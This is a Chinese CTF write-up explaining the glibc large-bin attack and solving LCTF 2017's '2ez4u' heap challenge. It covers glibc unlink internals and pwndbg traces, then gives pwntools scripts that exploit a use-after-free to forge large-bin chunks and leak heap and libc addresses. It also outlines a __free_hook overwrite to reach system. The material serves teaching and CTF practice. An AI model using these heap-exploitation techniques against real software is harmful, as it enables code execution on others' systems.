large bins attack及lctf2017 2ez4u writeup

前置知识

关于fd_nextsize和bk_nextsize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *s=malloc(1008);//分配large bin的大小
char *s1=malloc(1008);
char *s2=malloc(960);
char *s3=malloc(960);
char *s4=malloc(980);
char *s5=malloc(980);
free(s);
free(s2);
free(s4);
char *s6=(char *)malloc(2000);unsorted bins里找
s6="hello,world";
printf("%s\n",s6);
}

编译:gcc -m32 fenpei.c -g -o fenpei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> b 14
Breakpoint 1 at 0x804850a: file fenpei.c, line 14.
pwndbg> r
Starting program: /home/sakura/fenpei
...
14 char *s6=(char *)malloc(2000);
...
pwndbg> bins
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x804bf80 —▸ 0x804b7f0 —▸ 0x804b000 ◂— 0xf7fbd450
smallbins
empty
largebins
empty

注意当14行,这条语句运行前,还没有large bins,因为会先把free的chunk加入unsorted bins,然后当再次分配时,遍历unsorted,如果没有才把free的chunk加入到其该去的bins(这里就是large bins)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pwndbg> n
15 s6="hello,world";
...
pwndbg> bins
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
0x3c0: 0x804b000 —▸ 0x804bf80 —▸ 0x804b7f0 ◂— 0xf7fbd680
0x804b000 PREV_INUSE {
prev_size = 0,
size = 1017,
fd = 0x804bf80,
bk = 0xf7fbd680 <main_arena+608>,
fd_nextsize = 0x804bf80,
bk_nextsize = 0x804b7f0
}

0x804bf80 PREV_INUSE {
prev_size = 0,
size = 985,
fd = 0x804b7f0,
bk = 0x804b000,
fd_nextsize = 0x804b7f0,
bk_nextsize = 0x804b000
}

0x804b7f0 PREV_INUSE {
prev_size = 0,
size = 969,
fd = 0xf7fbd680 <main_arena+608>,
bk = 0x804bf80,
fd_nextsize = 0x804b000,
bk_nextsize = 0x804bf80
}

结论:

  • large bin里的chunk是按照从大到小排序的。
  • 若chunk在large bin的末端,则其的fd_nextsize指向首部,也就是最大的chunk,否则,fd_nextsize指向的是比它小的chunk.
  • 若chunk在large bin的首部,则其的bk_nextsize指向末端,也就是最小的chunk,否则,bk_nextsize指向的是比它大的chunk.


图中A1、B1、C1大小相同,是同一组chunk,A2是第二组,A3、B3大小相同,是第三组chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* Take a chunk off a bin list */
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
assert (P->fd_nextsize->bk_nextsize == P); \
assert (P->bk_nextsize->fd_nextsize == P); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

large bins中的空闲chunk可能处于两个双向循环链表中,unlink时需要从两个链表中都删除,这里只分析large bin特有的删除操作,其他的参考我的另一篇文章

  • if (!in_smallbin_range (P->size)
    && __builtin_expect (P->fd_nextsize != NULL, 0))
    __builtin_expect((x),0)表示 x 的值为假的可能性更大,这是一个用于分值预测的命令,我们只要看里面的P->fd_nextsize != NULL即可。
    只有当chunk为large bin且P->fd_nextsize != NULL 时才需要修改,即chunk是同组的第一个空闲chunk。
  • assert (P->fd_nextsize->bk_nextsize == P);
    assert (P->bk_nextsize->fd_nextsize == P);
    这里进行两个检查。
  • 根据具体情况适当设置fd_nextsize和bk_nextsize

第一种:

1
2
3
4
5
6
if (FD->fd_nextsize == NULL) {
...
else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
}

即如果FD->fd_nextsize != NULL,说明FD是下一组尺寸相同的chunks的第一个chunk。

图示我要移除的P为A2,则FD是A3,FD的fd_nextsize!=NULL

P->fd_nextsize->bk_nextsize = P->bk_nextsize;

P->bk_nextsize->fd_nextsize = P->fd_nextsize;

第二种:

1
2
3
if (FD->fd_nextsize == NULL) {				       \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD;

如果FD->fd_nextsize == NULL,且P是仅有的唯一一组尺寸相同的 chunks的第一个chunk。


图示的chunk大小都相同,若P为A1,FD即B1。
则此时P->fd_nextsize仍为P,移除P后,FD就是第一个chunk,所以将FD的fd_nextsize和bk_nextsize都由NULL修改为指向它自己。

第三种:

1
2
3
4
5
6
7
8
9
10
if (!in_smallbin_range (P->size)				       \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
... \

else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
}

有多组chunks,且P为同组chunks的第一个chunk,且FD不是下一组尺寸相同的chunks的第一个chunk。


图示要移除的P为A2,则FD为B2。

1
2
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;

FD继承P的fd_nextsize和bk_nextsize

1
2
P->fd_nextsize->bk_nextsize = FD;			      
P->bk_nextsize->fd_nextsize = FD;

修改P->fd_nextsize和P->bk_nextsize的指针

large bin的分配

下述内容来源《glibc内存管理ptmalloc源代码分析》p87及glibc2.12.1源码

这里略去之前fastbins的合并和对unsorted的检索。
当这些都不能分配合适的chunk的时候,就到了下面的large bin分配实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/

if (!in_smallbin_range(nb)) {
bin = bin_at(av, idx);

/* 如果所需分配的chunk为large bin chunk,查询对应的large bin链表,
如果large bin链表为空,或者链表中最大的chunk(即first(bin),large bin中的第一个chunk)也不能满足要求,
则不能从large bin中分配。否则,遍历large bin 链表,找到合适的chunk。 */
if ((victim = first(bin)) != bin &&
(unsigned long)(victim->size) >= (unsigned long)(nb)) {
/*反向遍历chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环。*/
victim = victim->bk_nextsize;//第一个chunk的bk_nextsize是large bins的末端,即最小的chunk
while (((unsigned long)(size = chunksize(victim)) <
(unsigned long)(nb)))
victim = victim->bk_nextsize;//遍历chunk_size链表,找下一个更大的。

/* 如果从large bin链表中选取的chunk victim不是链表中的最后一个chunk,
并且与victim 大小相同的chunk不止一个,那么意味着victim为chunk size链表中的节点,
为了不调整chunk size链表,需要避免将chunk size链表中的节点取出,所以取victim->fd节点对应的chunk作为候选chunk。
由于large bin链表中的 chunk也是按大小排序,同一大小的chunk有多个时,这些chunk必定排在一起,
所以victim->fd节点对应的chunk的大小必定与victim的大小一样。 */
if (victim != last(bin) && victim->size == victim->fd->size)
victim = victim->fd;
/*计算将victim切分后剩余大小,并调用unlink()宏函数将victim从large bin链表中取出。*/
remainder_size = size - nb;
unlink(victim, bck, fwd);
...
...
...
/* 调用chunk2mem()获得chunk中可用的内存指针,返回给应用层,退出 */
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
if (__builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
}

其他

关于堆利用的其他知识,可以参考清华的论文CTF-wiki

分析

准备工作

checksec

1
2
3
4
5
6
7
sakura@ubuntu:~$ checksec 2ez4u 
[*] '/home/sakura/2ez4u'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

去掉alarm

去掉之后,注意多nop几下……别让函数看上去断了,弄成我下面这样就行。

分析结构体

个人习惯先逆向分析一下结构体。





简单在注释里写了一下分析。

结论是:

  1. apple结构体
  2. 管理apple的数据结构

    使用pwntools动态分析

    动态分析时使用的脚本如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    from pwn import *
    from ctypes import c_uint32

    context.arch = 'x86-64'
    context.os = 'linux'
    context.log_level = 'DEBUG'
    io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})
    base_addr=0x555555554000
    gdb.attach(io, 'b *0x%x' % (base_addr+0xD22))
    def add(value, num, l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline(str(value))
    io.recvuntil('num?(0-16)')
    io.sendline(str(num))
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)
    pass

    add(1,2,0x60,'A'*0x60)
    io.recvuntil('your choice:')
    io.sendline('5')
    可以通过动态调试的方式检验自己的分析结果,对一开始还是蛮有帮助,熟悉了之后就不用了,这种菜单题的结构体大同小异。

解释一下pwntools里面的几条语句

  • context.log_level = 'DEBUG'
    打开debug,可以看到自己的发送和接收(如图)
  • io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})
    代表使用指定的libc文件去链接,不过要注意一下,因为ld.so的版本原因,跨版本指定libc一般是会失败的,所以这题的话,请使用ubuntu16.04
    如图:
1
2
3
4
5
6
parallels@ubuntu:~/ctf/chal$ python m_struct.py 
[+] Starting local process './2ez4u' env={'LD_PRELOAD': './libc.so'} : pid 9247
...
...
...
parallels@ubuntu:~/ctf/chal$ cat /proc/9247/maps

  • 另外解释一下,base_addr=0x555555554000

    这是代码段的基地址(这里主要就是用作调试,所以本地调试需要关闭ASLR,不然这个地址会变化。)

    1
    2
    sudo su
    echo 0 > /proc/sys/kernel/randomize_va_space

    因为可以看到文件里都是按照偏移来写的地址。

  • gdb.attach(io, 'b *0x%x' % (base_addr+0xD22))
    使用gdb attach调试,b *是下断,这里我在malloc下断,attach上去之后再在里面下断也行,没区别。

  • 另外使用IDA对二进制文件进行逆向分析的时候,可以把基地址重新选定,如下操作,可以看到现在基地址已经选定了。(注意这种情况下是在关闭ASLR调试时可以用,服务器上的地址并不是这个)


漏洞分析

添加函数在上面已经分析了。
查看函数

删除函数

修改函数

可以看出在free chunk后并没有将存储指针的全局变量删除,还能够对其进行编辑,典型的UAF漏洞。

利用

leak heap

首先构造两个大小在同一个bins中的large chunk,将其释放后,这两个chunk先进入unsorted bins中,再申请一个不满足这两个chunk大小的chunk,则unsorted bins中的这两个chunk将会进入large bins中。
同时fd_nextsize和bk_nextsize将被赋值,因为指向这两个chunk的指针还存放在全局变量中,所以依然可以打印(UAF)
调试脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from __future__ import print_function
from pwn import *
from ctypes import c_uint32

context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})

base_addr = 0x0000555555554000

def add(l, desc):
io.recvuntil('your choice:')
io.sendline('1')
io.recvuntil('color?(0:red, 1:green):')
io.sendline('0')
io.recvuntil('value?(0-999):')
io.sendline('0')
io.recvuntil('num?(0-16)')
io.sendline('0')
io.recvuntil('description length?(1-1024):')
io.sendline(str(l))
io.recvuntil('description of the apple:')
io.sendline(desc)

def dele(idx):
io.recvuntil('your choice:')
io.sendline('2')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))

def edit(idx, desc):
io.recvuntil('your choice:')
io.sendline('3')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
io.recvuntil('color?(0:red, 1:green):')
io.sendline('2')
io.recvuntil('value?(0-999):')
io.sendline('1000')
io.recvuntil('num?(0-16)')
io.sendline('17')
io.recvuntil('new description of the apple:')
io.sendline(desc)

def show(idx):
io.recvuntil('your choice:')
io.sendline('4')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))

add(0x60, '0'*0x60 ) #
add(0x60, '1'*0x60 ) #
add(0x60, '2'*0x60 ) #
add(0x60, '3'*0x60 ) #
add(0x60, '4'*0x60 ) #
add(0x60, '5'*0x60 ) #
add(0x60, '6'*0x60 ) #

add(0x3f0, '7'*0x3f0) # playground
add(0x30, '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30, 'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30, 'c'*0x30 )

dele(0x9)
dele(0xb)
dele(0x0)
gdb.attach(io, 'b *0x%x' % (base_addr+0x124e))
add(0x400, '0'*0x400)
# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))

io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)

gdb挂上后,先查看全局变量,找到堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x /32gx 0x555555756040
0x555555756040: 0x0000006000000000 0x0000555555757010 index:0
0x555555756050: 0x0000006000000001 0x0000555555757090 index:1
0x555555756060: 0x0000006000000001 0x0000555555757110 index:2
0x555555756070: 0x0000006000000001 0x0000555555757190 index:3
0x555555756080: 0x0000006000000001 0x0000555555757210 index:4
0x555555756090: 0x0000006000000001 0x0000555555757290 index:5
0x5555557560a0: 0x0000006000000001 0x0000555555757310 index:6
0x5555557560b0: 0x000003f000000001 0x0000555555757390 index:7
0x5555557560c0: 0x0000003000000001 0x00005555557577a0 index:8
0x5555557560d0: 0x000003e000000000 0x00005555557577f0 index:9
0x5555557560e0: 0x0000003000000001 0x0000555555757bf0 index:a
0x5555557560f0: 0x000003f000000000 0x0000555555757c40 index:b
0x555555756100: 0x0000003000000001 0x0000555555758050 index:c
0x555555756110: 0x0000000000000000 0x0000000000000000
0x555555756120: 0x0000000000000000 0x0000000000000000
0x555555756130: 0x0000000000000000 0x0000000000000000

添加了一个large bin之后。

1
2
pwndbg> c
Continuing.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x /32gx 0x555555756040
0x555555756040: 0x0000040000000001 0x00005555557580a0 --->new chunk
0x555555756050: 0x0000006000000001 0x0000555555757090
0x555555756060: 0x0000006000000001 0x0000555555757110
0x555555756070: 0x0000006000000001 0x0000555555757190
0x555555756080: 0x0000006000000001 0x0000555555757210
0x555555756090: 0x0000006000000001 0x0000555555757290
0x5555557560a0: 0x0000006000000001 0x0000555555757310
0x5555557560b0: 0x000003f000000001 0x0000555555757390
0x5555557560c0: 0x0000003000000001 0x00005555557577a0
0x5555557560d0: 0x000003e000000000 0x00005555557577f0
0x5555557560e0: 0x0000003000000001 0x0000555555757bf0
0x5555557560f0: 0x000003f000000000 0x0000555555757c40
0x555555756100: 0x0000003000000001 0x0000555555758050
0x555555756110: 0x0000000000000000 0x0000000000000000
0x555555756120: 0x0000000000000000 0x0000000000000000
0x555555756130: 0x0000000000000000 0x0000000000000000

则index 9

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x /20gx 0x00005555557577f0
0x5555557577f0: 0x00007ffff7dd1f68-->fd(main_arena) 0x0000555555757c30-->bk
0x555555757800: 0x0000555555757c30-->fd_nextsize 0x0000555555757c30-->bk_nextsize
0x555555757810: 0x3939393939393939 0x3939393939393939
0x555555757820: 0x3939393939393939 0x3939393939393939
0x555555757830: 0x3939393939393939 0x3939393939393939
0x555555757840: 0x3939393939393939 0x3939393939393939
0x555555757850: 0x3939393939393939 0x3939393939393939
0x555555757860: 0x3939393939393939 0x3939393939393939
0x555555757870: 0x3939393939393939 0x3939393939393939
0x555555757880: 0x3939393939393939 0x3939393939393939

index b

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x /20gx 0x0000555555757c40
0x555555757c40: 0x00005555557577e0-->fd 0x00007ffff7dd1f68-->bk(main_arena,全局变量)
0x555555757c50: 0x00005555557577e0-->fd_nextsize 0x00005555557577e0-->bk_nextsize
0x555555757c60: 0x6262626262626262 0x6262626262626262
0x555555757c70: 0x6262626262626262 0x6262626262626262
0x555555757c80: 0x6262626262626262 0x6262626262626262
0x555555757c90: 0x6262626262626262 0x6262626262626262
0x555555757ca0: 0x6262626262626262 0x6262626262626262
0x555555757cb0: 0x6262626262626262 0x6262626262626262
0x555555757cc0: 0x6262626262626262 0x6262626262626262
0x555555757cd0: 0x6262626262626262 0x6262626262626262

即:chunk_size链为

1
large bin: index b-->index 9(-->index b)

此处–>均代表bk_nextsize
同时由fd和bk可以看出在large bin链中的顺序,判据如下图:
index b的bk为main_arena,index 9的fd为main_arena

顺便index b大小为0x3e0,index 9的大小为0x3d0,b>a,这也证明了large bin确实是从大到小排序的。

1
2
3
4
5
6
7
8
9
10
11
12
[DEBUG] Received 0x94 bytes:
00000000 63 6f 6c 6f 72 3a 20 67 72 65 65 6e 0a 6e 75 6d │colo│r: g│reen│·num│
00000010 3a 20 32 31 38 34 35 0a 76 61 6c 75 65 3a 20 31 │: 21│845·│valu│e: 1│
00000020 30 34 0a 64 65 73 63 72 69 70 74 69 6f 6e 3a e0 │04·d│escr│ipti│on:·│
00000030 77 75 55 55 55 0a 0a 3d 3d 3d 3d 3d 20 63 68 61 │wuUU│U··=│====│ cha│
00000040 6c 6c 20 3d 3d 3d 3d 3d 0a 31 2e 20 61 64 64 20 │ll =│====│·1. │add │
00000050 61 70 70 6c 65 0a 32 2e 20 64 65 6c 20 61 70 70 │appl│e·2.│ del│ app│
00000060 6c 65 0a 33 2e 20 65 64 69 74 20 61 70 70 6c 65 │le·3│. ed│it a│pple│
00000070 0a 34 2e 20 73 68 6f 77 20 61 70 70 6c 65 0a 35 │·4. │show│ app│le·5│
00000080 2e 20 71 75 69 74 0a 79 6f 75 72 20 63 68 6f 69 │. qu│it·y│our │choi│
00000090 63 65 3a 20 │ce: ││
00000094

leak libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from __future__ import print_function
from pwn import *
from ctypes import c_uint32

context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})

base_addr = 0x0000555555554000

def add(l, desc):
io.recvuntil('your choice:')
io.sendline('1')
io.recvuntil('color?(0:red, 1:green):')
io.sendline('0')
io.recvuntil('value?(0-999):')
io.sendline('0')
io.recvuntil('num?(0-16)')
io.sendline('0')
io.recvuntil('description length?(1-1024):')
io.sendline(str(l))
io.recvuntil('description of the apple:')
io.sendline(desc)

def dele(idx):
io.recvuntil('your choice:')
io.sendline('2')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))

def edit(idx, desc):
io.recvuntil('your choice:')
io.sendline('3')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
io.recvuntil('color?(0:red, 1:green):')
io.sendline('2')
io.recvuntil('value?(0-999):')
io.sendline('1000')
io.recvuntil('num?(0-16)')
io.sendline('17')
io.recvuntil('new description of the apple:')
io.sendline(desc)

def show(idx):
io.recvuntil('your choice:')
io.sendline('4')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))

add(0x60, '0'*0x60 ) #
add(0x60, '1'*0x60 ) #
add(0x60, '2'*0x60 ) #
add(0x60, '3'*0x60 ) #
add(0x60, '4'*0x60 ) #
add(0x60, '5'*0x60 ) #
add(0x60, '6'*0x60 ) #

add(0x3f0, '7'*0x3f0) # playground
add(0x30, '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30, 'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30, 'c'*0x30 )

dele(0x9)
dele(0xb)
dele(0x0)
add(0x400, '0'*0x400)
# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))

io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)

target_addr = HEAP+0xb0 # 1
chunk1_addr = HEAP+0x130 # 2
chunk2_addr = HEAP+0x1b0 # 3
victim_addr = HEAP+0xc30 # b
log.info("target_addr 0x%016x" % target_addr)
log.info("chunk1_addr 0x%016x" % chunk1_addr)
log.info("chunk2_addr 0x%016x" % chunk2_addr)
log.info("victim_addr 0x%016x" % victim_addr)
gdb.attach(io, 'b *0x%x' % (base_addr+0x124e))
# large bin attack
edit(0xb, p64(chunk1_addr)) # victim
edit(0x1, p64(0x0)+p64(chunk1_addr)) # target
chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)
edit(0x3, chunk2) # chunk2
chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60, '6'*0x60 ) #
show(0x3) ## 伪造的堆块中包含small bin,leak libc地址
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)

这部分的调试过程比较简单,就在我脚本里那个地方下断,就可以在每次添加删除或修改执行完,返回生成菜单的代码处断下,查看每次修改结果,不再详细描述。
利用思路需要再整理一下,我们每次能够改变的是desc

在large bin attack开始前断下,并查看修改前的index b。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Breakpoint 1 at 0x55555555524e
...
pwndbg> x /32gx 0x555555756040
0x555555756040: 0x0000040000000001 0x00005555557580a0->0
0x555555756050: 0x0000006000000001 0x0000555555757090->1
0x555555756060: 0x0000006000000001 0x0000555555757110->2
0x555555756070: 0x0000006000000001 0x0000555555757190->3
0x555555756080: 0x0000006000000001 0x0000555555757210->4
0x555555756090: 0x0000006000000001 0x0000555555757290->5
0x5555557560a0: 0x0000006000000001 0x0000555555757310->6
0x5555557560b0: 0x000003f000000001 0x0000555555757390->7
0x5555557560c0: 0x0000003000000001 0x00005555557577a0->8
0x5555557560d0: 0x000003e000000000 0x00005555557577f0->9
0x5555557560e0: 0x0000003000000001 0x0000555555757bf0->a
0x5555557560f0: 0x000003f000000000 0x0000555555757c40->b
0x555555756100: 0x0000003000000001 0x0000555555758050->c
...

pwndbg> x /20gx 0x0000555555757c40
0x555555757c40: 0x00005555557577e0 0x00007ffff7dd1f68
0x555555757c50: 0x00005555557577e0 0x00005555557577e0->修改前bk_nextsize的指向为最小的chunk
0x555555757c60: 0x6262626262626262 0x6262626262626262
...

1
2
3
4
target_addr = HEAP+0xb0     # 在index 1中
chunk1_addr = HEAP+0x130 # 在index 2中
chunk2_addr = HEAP+0x1b0 # 在index 3中
victim_addr = HEAP+0xc30 # 在index b中

修改后,执行完edit(0xb, p64(chunk1_addr)),再在生成菜单的代码前断下,此时bk_nextsize指向伪造的chunk1,chunk1将在chunk1_addr这个地址构造。
最终构造出:

绕过p->fd->bk=p和p->bk->fd=p
以及p->bk_nextsize->fd_nextsize=p和p->fd_nextsize->bk_nextsize=p
同时要注意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> x /20gx 0x0000555555757c30
0x555555757c30: 0x0061616161616161 0x0000000000000411
0x555555757c40: 0x00005555557577e0 0x00007ffff7dd1f68
0x555555757c50: 0x00005555557577e0 0x0000555555757130
...
pwndbg> x /20gx 0x00005555557577e0
0x5555557577e0: 0x0038383838383838 0x0000000000000401
0x5555557577f0: 0x00007ffff7dd1f68 0x0000555555757c30
0x555555757800: 0x0000555555757c30 0x0000555555757c30
0x555555757810: 0x3939393939393939 0x3939393939393939
...
pwndbg> x /20gx 0x00005555557571b0
0x5555557571b0: 0x0000000000000000 0x0000000000000421
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000555555757130 0x3333333333333300
0x5555557571e0: 0x3333333333333333 0x3333333333333333
0x5555557571f0: 0x3333333333333333 0x3333333333333333
0x555555757200: 0x0033333333333333 0x0000000000000081
0x555555757210: 0x0000000000000000 0x0000000000000000
...
pwndbg> x /20gx 0x0000555555757130
0x555555757130: 0x0000000000000000 0x0000000000000411
0x555555757140: 0x0000555555757098 0x00005555557570a0
0x555555757150: 0x0000555555757c30 0x00005555557571b0
1
2
3
4
5
6
7
pwndbg> x /20gx 0x0000555555757098
0x555555757098: 0x0000000000000000 0x0000000000000001
0x5555557570a8: 0x0000000000000000 0x0000555555757130
...
pwndbg> x /20gx 0x00005555557570a0
0x5555557570a0: 0x0000000000000001 0x0000000000000000
0x5555557570b0: 0x0000555555757130 0x3131313131313100

注意这句话edit(0x7, ‘7’*0x198+p64(0x410)+p64(0x411))
它是为了保证size的大小一致,在“相邻”的下一个chunk设置好prev_size。
chunk1的addr为130,加上size即410就是540.

1
2
3
4
pwndbg> x /20gx 0x000055555575754
0x555555757540: 0x0000000000000410->prev_sieze 0x0000000000000411
0x555555757550: 0x3737373737373700 0x3737373737373737
0x555555757560: 0x3737373737373737 0x3737373737373737

构造好之后,就是先删除6和3这两个大小在small bins范围里的chunk。
顺便一提,small bins是FIFO的规则,所以同一个链表中先被释放的chunk会先被分配出去。

然后再add(0x3f0, ‘3’*0x30+p64(0xdeadbeefdeadbeef))
因为我们之前说过了large bins的分配,首先找到first(bins),也就是free chunk的第一个,因为这是这条链里最大的,这里就是c30,然后从它的bk_nextsize开始遍历,即从130开始遍历,这里的130是我们伪造好的,它的大小为410,就被分配出去了。
检查一下,确实是这样,它被分配到了index 3的位置。

1
2
3
4
5
6
7
pwndbg> x /32gx 0x555555756040
0x555555756040: 0x0000040000000001 0x00005555557580a0
0x555555756050: 0x0000006000000001 0x0000555555757090
0x555555756060: 0x0000006000000001 0x0000555555757110
0x555555756070: 0x000003f000000001 0x0000555555757140
0x555555756080: 0x0000006000000001 0x0000555555757210
0x555555756090: 0x0000006000000001 0x0000555555757290

也可以看出触发了unlink

1
2
3
4
5
6
7
8
pwndbg> x /6gx 0x0000555555757c30
0x555555757c30: 0x0061616161616161 0x0000000000000411
0x555555757c40: 0x00005555557577e0 0x00007ffff7dd1f68
0x555555757c50: 0x00005555557577e0 0x00005555557571b0
pwndbg> x /6gx 0x00005555557571b0
0x5555557571b0: 0x0000000000000000 0x0000000000000421
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000555555757c30 0x3333333333333300

因为之前的index 3即0x0000555555757190就是small bin,而它被包含在我们伪造的chunk的大小(130-540)中,所以被leak出来,其fd的值就在libc中。

1
2
3
4
5
6
7
8
pwndbg> x /50gx 0x0000555555757130
0x555555757130: 0x0000000000000000 0x0000000000000411
0x555555757140: 0x0000000000000000 0x0000000000000000
0x555555757150: 0x0000555500000003 0x3333333333333333
0x555555757160: 0x3333333333333333 0x3333333333333333
0x555555757170: 0x3333333333333333 0x3333333333333333
0x555555757180: 0x3333333333333333 0xdeadbeefdeadbeef
0x555555757190: 0x00007ffff7dd1be8->libc 0x0000555555757300

leak出的libc并不是基地址,还要减去偏移,我不大清楚应该这么算,但是关了ASLR之后,我们可以看到基地址,先leak一遍然后算出编译,然后再重新运行leak脚本,把这个偏移值减去即可,有人知道怎么算的话,可以告知我一下~谢谢。

最终leak出的libc地址为:0x00007ffff7a0d000

覆盖__free_hook指针

利用这个malloc出来的chunk来修改fastbin的fd
通过修改fd,来malloc出top前一块空间,然后这样就可以修改main_arena上的top为free_hook上面一些的地方。
通过几次malloc,修改free_hook为system的地址

这部分的堆构造比较复杂,不过只要注意到是怎么在我们malloc出的fake_chunk里free出一个fastbin,后面就可以通过更改fastbin的fd指针,结合UAF实现任意地址写了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
